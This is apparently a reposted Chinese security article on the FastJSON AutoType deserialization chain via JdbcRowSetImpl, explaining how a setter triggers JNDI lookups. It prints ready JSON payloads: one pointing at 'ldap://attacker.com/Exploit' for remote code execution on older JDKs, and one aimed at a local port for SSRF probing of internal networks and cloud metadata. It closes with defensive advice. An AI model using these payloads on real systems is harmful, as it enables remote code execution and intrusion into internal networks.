📌 一、类简介:JdbcRowSetImpl
-
全类名: com.sun.rowset.JdbcRowSetImpl
-
JDK 自带类(Java 8–21+ 均内置) -
原本用途:通过 JNDI 查询并连接数据库
⚠️ 二、危险行为分析:JNDI
在 Java 中,
setXxx()
形式的公开方法称为“setter 方法”,用于为私有字段赋值。
这个类的 setter 方法有“副作用”:
public void setDataSourceName(String dsName) throws SQLException {this.dataSourceName = dsName;this.connect(); // ⚠️ 自动调用 connect()}public void connect() throws SQLException { Context ctx = new InitialContext(); DataSource ds = (DataSource) ctx.lookup(this.dataSourceName); // ⚠️ 发起 JNDI 请求 this.conn = ds.getConnection();}
只要调用 setDataSourceName(...)
,就会触发 connect()
→ 自动发起 JNDI 请求。
🧬 三、FastJSON 如何触发它?
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/Exploit", "autoCommit": true}
FastJSON 自动行为如下:
// 相当于底层操作Class<?> clazz = Class.forName("com.sun.rowset.JdbcRowSetImpl");Object obj = clazz.getDeclaredConstructor().newInstance();obj.setDataSourceName("ldap://attacker.com/Exploit"); // ⚠️ 触发 connect()obj.setAutoCommit(true);
此行为是 FastJSON 在开启 AutoType 时的正常反序列化过程!
🧨 四、利用链可行性分析
✅ JDK ≤ 8u191
-
允许远程类加载 -
攻击者可通过 LDAP 服务器返回恶意类,JVM 会加载 → 实现 RCE(远程代码执行)
⚠️ JDK ≥ 8u191、JDK 11、JDK 17+
-
默认禁用远程类加载 -
虽然仍会触发 ctx.lookup(...)
,但不会加载远程字节码 -
RCE 方式失效,但仍可利用....
💥 五、JDK 17+ 下仍可 SSRF!
即使无法加载远程类,但这条链 依然会请求 dataSourceName 所指地址,可用于:
-
🚰 SSRF:内网探测 -
🔐 HTTP 请求打内网 Web 应用 -
🔍 LDAP / Redis / Consul 端口扫描 -
📬 访问云服务 metadata等
✅ SSRF 示例 Payload:
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:1389/internal-check", //也可改为HTTP探测端口与IP情况 "autoCommit": true}
虽然 Exploit.class
不会被加载,但 请求会被发送到 127.0.0.1:1389,已构成 SSRF。
🔐 六、防御建议
建议 | 说明 |
---|---|
🚫 禁用 AutoType | FastJSON 最基本防线 |
✅ 升级 fastjson2 | 默认不支持 AutoType,设计更安全 |
🔒 使用白名单 | 通过 ParserConfig 明确指定允许的类 |
🔍 审计依赖 | 检查项目是否引用了 JNDI、JdbcRowSetImpl 等危险类 |
🧱 限制内网访问 | 给服务器设置 egress 出口访问控制,禁止随意对外连网 |
🧾 七、总结
项目 | 说明 |
---|---|
危险类 | com.sun.rowset.JdbcRowSetImpl (JDK 自带) |
触发点 | setDataSourceName(...) → 自动调用 connect() → 发起 JNDI 请求 |
FastJSON 利用 | 通过 @type 自动实例化 + setter 自动调用 |
JDK ≤ 8u191 | ✅ 可加载远程类,实现 RCE |
JDK ≥ 8u191 | ❌ 禁止远程类加载,RCE 失效 |
JDK 17+ | ✅ SSRF 依然可行 |
现实威胁 | 探测内网、打云服务 API、内网横向移动 |
具体流程
[JSON输入] ↓FastJSON识别 @type ↓加载 JdbcRowSetImpl 类 ↓调用 setDataSourceName("ldap://...") ↓触发 connect() → JNDI.lookup() ↓请求 ldap://attacker.com //或者SSRF的URL ↓RCE(JDK ≤ 8u191)或 SSRF(JDK 17+)
原文始发于微信公众号(季升安全):FastJSON × JdbcRowSetImpl 利用链是否还有效?全面解析如何突破 JDK 安全限制
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论